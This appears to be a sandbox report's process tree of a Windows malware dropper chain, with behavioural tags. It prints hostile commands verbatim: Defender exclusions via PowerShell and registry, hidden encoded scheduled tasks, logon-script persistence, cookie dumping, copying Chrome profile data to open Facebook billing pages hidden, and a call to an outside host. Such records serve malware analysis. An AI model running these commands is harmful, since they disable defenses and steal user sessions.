C:\Users\Admin\AppData\Local\Temp\0orrek12.zyp\gaooo.exeC:\Users\Admin\AppData\Local\Temp\0orrek12.zyp\gaooo.exe16⤵
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt17⤵
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt17⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\0aixlhhe.yw1\md7_7dfj.exe & exit15⤵
-
C:\Users\Admin\AppData\Local\Temp\0aixlhhe.yw1\md7_7dfj.exeC:\Users\Admin\AppData\Local\Temp\0aixlhhe.yw1\md7_7dfj.exe16⤵
- Checks whether UAC is enabled
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\tlo0pkec.m3t\askinstall31.exe & exit15⤵
-
C:\Users\Admin\AppData\Local\Temp\tlo0pkec.m3t\askinstall31.exeC:\Users\Admin\AppData\Local\Temp\tlo0pkec.m3t\askinstall31.exe16⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\2jtsbaqq.uxm\customer6.exe & exit15⤵
-
C:\Users\Admin\AppData\Local\Temp\2jtsbaqq.uxm\customer6.exeC:\Users\Admin\AppData\Local\Temp\2jtsbaqq.uxm\customer6.exe16⤵
-
C:\Users\Admin\AppData\Local\Temp\RarSFX4\main.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX4\main.exe"17⤵
- Loads dropped DLL
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\csusm0ng.g55\HookSetp.exe & exit15⤵
-
C:\Users\Admin\AppData\Local\Temp\csusm0ng.g55\HookSetp.exeC:\Users\Admin\AppData\Local\Temp\csusm0ng.g55\HookSetp.exe16⤵
-
C:\ProgramData\7901573.exe"C:\ProgramData\7901573.exe"17⤵
-
C:\ProgramData\6616674.exe"C:\ProgramData\6616674.exe"17⤵
- Suspicious behavior: SetClipboardViewer
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\h4ior2ma.5gd\19.exe & exit15⤵
-
C:\Users\Admin\AppData\Local\Temp\h4ior2ma.5gd\19.exeC:\Users\Admin\AppData\Local\Temp\h4ior2ma.5gd\19.exe16⤵
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Program Files\install.vbs"17⤵
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\System32\rundll32.exe" "C:\Program Files\install.dll",install18⤵
- Loads dropped DLL
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\jcazf53m.raf\setup_10.2_mix.exe & exit15⤵
-
C:\Users\Admin\AppData\Local\Temp\jcazf53m.raf\setup_10.2_mix.exeC:\Users\Admin\AppData\Local\Temp\jcazf53m.raf\setup_10.2_mix.exe16⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\s3zomplp.hfp\GcleanerWW.exe /mixone & exit15⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\qbcbfzsi.s42\b9706c20.exe & exit15⤵
-
C:\Users\Admin\AppData\Local\Temp\qbcbfzsi.s42\b9706c20.exeC:\Users\Admin\AppData\Local\Temp\qbcbfzsi.s42\b9706c20.exe16⤵
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\xhiirz0c.jki\setup.exe /8-2222 & exit15⤵
-
C:\Users\Admin\AppData\Local\Temp\xhiirz0c.jki\setup.exeC:\Users\Admin\AppData\Local\Temp\xhiirz0c.jki\setup.exe /8-222216⤵
- Drops file in Program Files directory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\Young-Fog'17⤵
-
C:\Program Files (x86)\Young-Fog\7za.exe"C:\Program Files (x86)\Young-Fog\7za.exe" e -p154.61.71.13 winamp.7z17⤵
- Drops file in Program Files directory
-
C:\Program Files (x86)\Young-Fog\setup.exe"C:\Program Files (x86)\Young-Fog\setup.exe" /8-222217⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\jboy1czv.vnz\setup.exe /S /kr /site_id=754 & exit15⤵
-
C:\Users\Admin\AppData\Local\Temp\jboy1czv.vnz\setup.exeC:\Users\Admin\AppData\Local\Temp\jboy1czv.vnz\setup.exe /S /kr /site_id=75416⤵
- Checks BIOS information in registry
- Drops file in System32 directory
- Enumerates system info in registry
-
C:\Windows\SysWOW64\forfiles.exe"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32® ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"17⤵
-
C:\Windows\SysWOW64\cmd.exe/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32® ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&18⤵
-
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:3219⤵
-
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:6419⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "gwxWVhQsT" /SC once /ST 12:14:32 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="17⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "gwxWVhQsT"17⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "gwxWVhQsT"17⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "bmIXAqnwlcZKDlfrrr" /SC once /ST 14:53:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\QPVXDrhIkhHCtwmZO\oHMHtlDCFUByPPw\MUXPNae.exe\" 9n /site_id 754 /S" /V1 /F17⤵
- Drops file in Windows directory
- Creates scheduled task(s)
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\rj2nnnou.2hp\Four.exe & exit15⤵
-
C:\Users\Admin\AppData\Local\Temp\rj2nnnou.2hp\Four.exeC:\Users\Admin\AppData\Local\Temp\rj2nnnou.2hp\Four.exe16⤵
-
C:\Users\Admin\AppData\Local\Temp\EPLFN276JQ\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\EPLFN276JQ\multitimer.exe" 0 306033e7ac94ccd3.87625057 0 10417⤵
- Drops file in Windows directory
-
C:\Users\Admin\AppData\Local\Temp\EPLFN276JQ\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\EPLFN276JQ\multitimer.exe" 1 3.1617022544.6061ce5050a7b 10418⤵
- Adds Run key to start application
-
C:\Users\Admin\AppData\Local\Temp\EPLFN276JQ\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\EPLFN276JQ\multitimer.exe" 2 3.1617022544.6061ce5050a7b19⤵
- Checks for any installed AV software in registry
- Maps connected drives based on registry
- Enumerates system info in registry
-
C:\Users\Admin\AppData\Local\Temp\qcisplvv22n\vict.exe"C:\Users\Admin\AppData\Local\Temp\qcisplvv22n\vict.exe" /VERYSILENT /id=53520⤵
- Checks computer location settings
- Checks whether UAC is enabled
- Modifies registry class
-
C:\Users\Admin\AppData\Local\Temp\is-9GARR.tmp\vict.tmp"C:\Users\Admin\AppData\Local\Temp\is-9GARR.tmp\vict.tmp" /SL5="$40534,870426,780800,C:\Users\Admin\AppData\Local\Temp\qcisplvv22n\vict.exe" /VERYSILENT /id=53521⤵
- Drops file in System32 directory
- Drops file in Program Files directory
- Drops file in Windows directory
- Checks SCSI registry key(s)
- Modifies data under HKEY_USERS
-
C:\Users\Admin\AppData\Local\Temp\is-KLENK.tmp\win1host.exe"C:\Users\Admin\AppData\Local\Temp\is-KLENK.tmp\win1host.exe" 53522⤵
-
C:\Users\Admin\AppData\Local\Temp\0u3atlb5rbn\AwesomePoolU1.exe"C:\Users\Admin\AppData\Local\Temp\0u3atlb5rbn\AwesomePoolU1.exe"20⤵
-
C:\Users\Admin\AppData\Local\Temp\j2pxvxmkffw\v5wpqe0q5l3.exe"C:\Users\Admin\AppData\Local\Temp\j2pxvxmkffw\v5wpqe0q5l3.exe" /1-61020⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\Autumn-Wave'21⤵
-
C:\Users\Admin\AppData\Local\Temp\rurdutud125\bevkagomcxv.exe"C:\Users\Admin\AppData\Local\Temp\rurdutud125\bevkagomcxv.exe" /ustwo INSTALL20⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7704 -s 64821⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7704 -s 66421⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7704 -s 80021⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7704 -s 78021⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7704 -s 86821⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7704 -s 92021⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7704 -s 114021⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7704 -s 113221⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Program crash
-
C:\Users\Admin\AppData\Local\Temp\xjkvz5xgmyl\Setup3310.exe"C:\Users\Admin\AppData\Local\Temp\xjkvz5xgmyl\Setup3310.exe" /Verysilent /subid=57720⤵
-
C:\Users\Admin\AppData\Local\Temp\nnuce33rf5s\app.exe"C:\Users\Admin\AppData\Local\Temp\nnuce33rf5s\app.exe" /8-2320⤵
- Drops file in Program Files directory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\Black-Glade'21⤵
-
C:\Users\Admin\AppData\Local\Temp\4ZDBCIK7FO\setups.exe"C:\Users\Admin\AppData\Local\Temp\4ZDBCIK7FO\setups.exe" ll17⤵
-
C:\Users\Admin\AppData\Local\Temp\is-HSULB.tmp\setups.tmp"C:\Users\Admin\AppData\Local\Temp\is-HSULB.tmp\setups.tmp" /SL5="$A057A,587771,264704,C:\Users\Admin\AppData\Local\Temp\4ZDBCIK7FO\setups.exe" ll18⤵
- Checks computer location settings
-
C:\Users\Admin\AppData\Local\Temp\09-9f4a4-c81-31487-623d8adfbccae\Luvaewekabe.exe"C:\Users\Admin\AppData\Local\Temp\09-9f4a4-c81-31487-623d8adfbccae\Luvaewekabe.exe"14⤵
- Executes dropped EXE
- Checks computer location settings
-
C:\Program Files (x86)\VR\Versium Research\jg7_7wjg.exe"C:\Program Files (x86)\VR\Versium Research\jg7_7wjg.exe"11⤵
- Executes dropped EXE
- Checks whether UAC is enabled
-
C:\Users\Admin\AppData\Local\Temp\r4ya3wr1br5\vpn.exe"C:\Users\Admin\AppData\Local\Temp\r4ya3wr1br5\vpn.exe" /silent /subid=4828⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\is-SOEL2.tmp\vpn.tmp"C:\Users\Admin\AppData\Local\Temp\is-SOEL2.tmp\vpn.tmp" /SL5="$203D4,15170975,270336,C:\Users\Admin\AppData\Local\Temp\r4ya3wr1br5\vpn.exe" /silent /subid=4829⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- Modifies system certificate store
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\MaskVPN\driver\win764\uninstall.bat" "10⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\MaskVPN\driver\win764\install.bat" "10⤵
-
C:\Program Files (x86)\MaskVPN\driver\win764\tapinstall.exetapinstall.exe install OemVista.inf tap090111⤵
- Drops file in System32 directory
- Drops file in Windows directory
- Checks SCSI registry key(s)
- Modifies system certificate store
-
C:\Program Files (x86)\MaskVPN\mask_svc.exe"C:\Program Files (x86)\MaskVPN\mask_svc.exe" uninstall10⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Program Files (x86)\MaskVPN\mask_svc.exe"C:\Program Files (x86)\MaskVPN\mask_svc.exe" install10⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\AppData\Local\Temp\woyqemgwg04\vict.exe"C:\Users\Admin\AppData\Local\Temp\woyqemgwg04\vict.exe" /VERYSILENT /id=5358⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\is-CCH8O.tmp\vict.tmp"C:\Users\Admin\AppData\Local\Temp\is-CCH8O.tmp\vict.tmp" /SL5="$103E0,870426,780800,C:\Users\Admin\AppData\Local\Temp\woyqemgwg04\vict.exe" /VERYSILENT /id=5359⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- Suspicious use of FindShellTrayWindow
-
C:\Users\Admin\AppData\Local\Temp\is-CAOSK.tmp\win1host.exe"C:\Users\Admin\AppData\Local\Temp\is-CAOSK.tmp\win1host.exe" 53510⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4936 -s 46811⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Program crash
-
C:\Users\Admin\AppData\Local\Temp\dhevhftd44l\AwesomePoolU1.exe"C:\Users\Admin\AppData\Local\Temp\dhevhftd44l\AwesomePoolU1.exe"8⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\lanalugq3sl\xal3k1mgbcp.exe"C:\Users\Admin\AppData\Local\Temp\lanalugq3sl\xal3k1mgbcp.exe" /ustwo INSTALL8⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2220 -s 6489⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2220 -s 6649⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2220 -s 6729⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2220 -s 6809⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2220 -s 9089⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2220 -s 9129⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2220 -s 11929⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2220 -s 11569⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2220 -s 11849⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Program crash
-
C:\Users\Admin\AppData\Local\Temp\hpqq4xzvwup\IBInstaller_97039.exe"C:\Users\Admin\AppData\Local\Temp\hpqq4xzvwup\IBInstaller_97039.exe" /VERYSILENT /PASSWORD=kSWIzY9AFOirvP3TueIs97039 -token mtn1co3fo4gs5vwq8⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\is-3JRGE.tmp\IBInstaller_97039.tmp"C:\Users\Admin\AppData\Local\Temp\is-3JRGE.tmp\IBInstaller_97039.tmp" /SL5="$203D8,14517664,721408,C:\Users\Admin\AppData\Local\Temp\hpqq4xzvwup\IBInstaller_97039.exe" /VERYSILENT /PASSWORD=kSWIzY9AFOirvP3TueIs97039 -token mtn1co3fo4gs5vwq9⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- Suspicious use of FindShellTrayWindow
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c expand C:\Users\Admin\AppData\Local\Temp\is-05F4D.tmp\{app}\microsoft.cab -F:* %ProgramData%10⤵
-
C:\Windows\SysWOW64\expand.exeexpand C:\Users\Admin\AppData\Local\Temp\is-05F4D.tmp\{app}\microsoft.cab -F:* C:\ProgramData11⤵
- Drops file in Windows directory
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" reg add "HKEY_CURRENT_USER\Environment" /v UserInitMprLogonScript /t REG_EXPAND_SZ /d "%ProgramData%\regid.1993-06.com.microsoft\client32.exe" /f10⤵
-
C:\Users\Admin\AppData\Local\Temp\is-05F4D.tmp\{app}\chromium_proxy.exe"C:\Users\Admin\AppData\Local\Temp\is-05F4D.tmp\{app}\chromium_proxy.exe"10⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c ping localhost -n 4 && del "C:\Users\Admin\AppData\Local\Temp\is-05F4D.tmp\{app}\chromium_proxy.exe"11⤵
-
C:\Windows\SysWOW64\PING.EXEping localhost -n 412⤵
- Runs ping.exe
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c start http://hostoryarticlesclub.com/pgudonqntu/zmsaksepfx.php?xdl=mtn1co3fo4gs5vwq^&cid=9703910⤵
- Checks computer location settings
-
C:\ProgramData\regid.1993-06.com.microsoft\client32.exe"C:\ProgramData\regid.1993-06.com.microsoft\client32.exe"10⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\lmel12emlbc\eyys4yc1mqw.exe"C:\Users\Admin\AppData\Local\Temp\lmel12emlbc\eyys4yc1mqw.exe" /1-6108⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\Divine-Shadow'9⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Program Files (x86)\Divine-Shadow\7za.exe"C:\Program Files (x86)\Divine-Shadow\7za.exe" e -p154.61.71.13 winamp.7z9⤵
- Drops file in Program Files directory
-
C:\Program Files (x86)\Divine-Shadow\eyys4yc1mqw.exe"C:\Program Files (x86)\Divine-Shadow\eyys4yc1mqw.exe" /1-6109⤵
-
C:\Users\Admin\AppData\Local\Temp\z1i3aoohuww\45y4koqd0ts.exe"C:\Users\Admin\AppData\Local\Temp\z1i3aoohuww\45y4koqd0ts.exe" /VERYSILENT8⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\is-IULTJ.tmp\45y4koqd0ts.tmp"C:\Users\Admin\AppData\Local\Temp\is-IULTJ.tmp\45y4koqd0ts.tmp" /SL5="$10404,2592217,780800,C:\Users\Admin\AppData\Local\Temp\z1i3aoohuww\45y4koqd0ts.exe" /VERYSILENT9⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- Suspicious use of FindShellTrayWindow
-
C:\Users\Admin\AppData\Local\Temp\is-MAI79.tmp\winlthsth.exe"C:\Users\Admin\AppData\Local\Temp\is-MAI79.tmp\winlthsth.exe"10⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5596 -s 65211⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\p0aiss5t5rj\app.exe"C:\Users\Admin\AppData\Local\Temp\p0aiss5t5rj\app.exe" /8-238⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\Fragrant-Brook'9⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Program Files (x86)\Fragrant-Brook\7za.exe"C:\Program Files (x86)\Fragrant-Brook\7za.exe" e -p154.61.71.13 winamp.7z9⤵
- Drops file in Program Files directory
-
C:\Program Files (x86)\Fragrant-Brook\app.exe"C:\Program Files (x86)\Fragrant-Brook\app.exe" /8-239⤵
-
C:\Users\Admin\AppData\Local\Temp\g4h23awbzfg\lokpto41glk.exe"C:\Users\Admin\AppData\Local\Temp\g4h23awbzfg\lokpto41glk.exe" /quiet SILENT=1 AF=7568⤵
- Executes dropped EXE
- Loads dropped DLL
- Enumerates connected drives
- Modifies system certificate store
- Suspicious use of FindShellTrayWindow
-
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\Weather\Weather 1.0.0\install\FD7DF1F\Weather Installation.msi" /quiet SILENT=1 AF=756 AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\g4h23awbzfg\lokpto41glk.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\g4h23awbzfg\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1616769849 /quiet SILENT=1 AF=756 " AF="756" AI_CONTROL_VISUAL_STYLE="16578540;16578540;14988840;12422912"9⤵
-
C:\Users\Admin\AppData\Local\Temp\ym25xpjbpcv\setup_10.2_us3.exe"C:\Users\Admin\AppData\Local\Temp\ym25xpjbpcv\setup_10.2_us3.exe" /silent8⤵
- Drops file in Program Files directory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\ProgramData\Microsoft\App\app.bat" "9⤵
- Checks computer location settings
-
C:\Users\Admin\AppData\Local\Temp\5AMO7SQBCK\setups.exe"C:\Users\Admin\AppData\Local\Temp\5AMO7SQBCK\setups.exe" ll5⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\is-70BPV.tmp\setups.tmp"C:\Users\Admin\AppData\Local\Temp\is-70BPV.tmp\setups.tmp" /SL5="$102EE,587771,264704,C:\Users\Admin\AppData\Local\Temp\5AMO7SQBCK\setups.exe" ll6⤵
- Executes dropped EXE
- Checks computer location settings
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
-
C:\Users\Admin\AppData\Local\Temp\RarSFX1\askinstall20.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX1\askinstall20.exe"4⤵
- Executes dropped EXE
- Drops Chrome extension
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe5⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe6⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\xcopy.exexcopy "C:\Users\Admin\AppData\Local\Google\Chrome\User Data" "C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99\" /s /e /y5⤵
- Enumerates system info in registry
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --window-position=-50000,-50000 --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" https://www.facebook.com/ https://www.facebook.com/pages/ https://secure.facebook.com/ads/manager/account_settings/account_billing/5⤵
- Suspicious use of FindShellTrayWindow
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99 /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99 --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=86.0.4240.111 --initial-client-data=0xd4,0xd8,0xdc,0xb0,0xe0,0x7ffe6dc86e00,0x7ffe6dc86e10,0x7ffe6dc86e206⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1520,511615905426767698,5853814216051849764,131072 --lang=en-US --service-sandbox-type=network --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --mojo-platform-channel-handle=1648 /prefetch:86⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1520,511615905426767698,5853814216051849764,131072 --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=1572 /prefetch:26⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1520,511615905426767698,5853814216051849764,131072 --lang=en-US --service-sandbox-type=utility --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --mojo-platform-channel-handle=2272 /prefetch:86⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1520,511615905426767698,5853814216051849764,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2836 /prefetch:16⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1520,511615905426767698,5853814216051849764,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2816 /prefetch:16⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1520,511615905426767698,5853814216051849764,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3364 /prefetch:16⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1520,511615905426767698,5853814216051849764,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3244 /prefetch:16⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1520,511615905426767698,5853814216051849764,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=4 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3712 /prefetch:16⤵
-
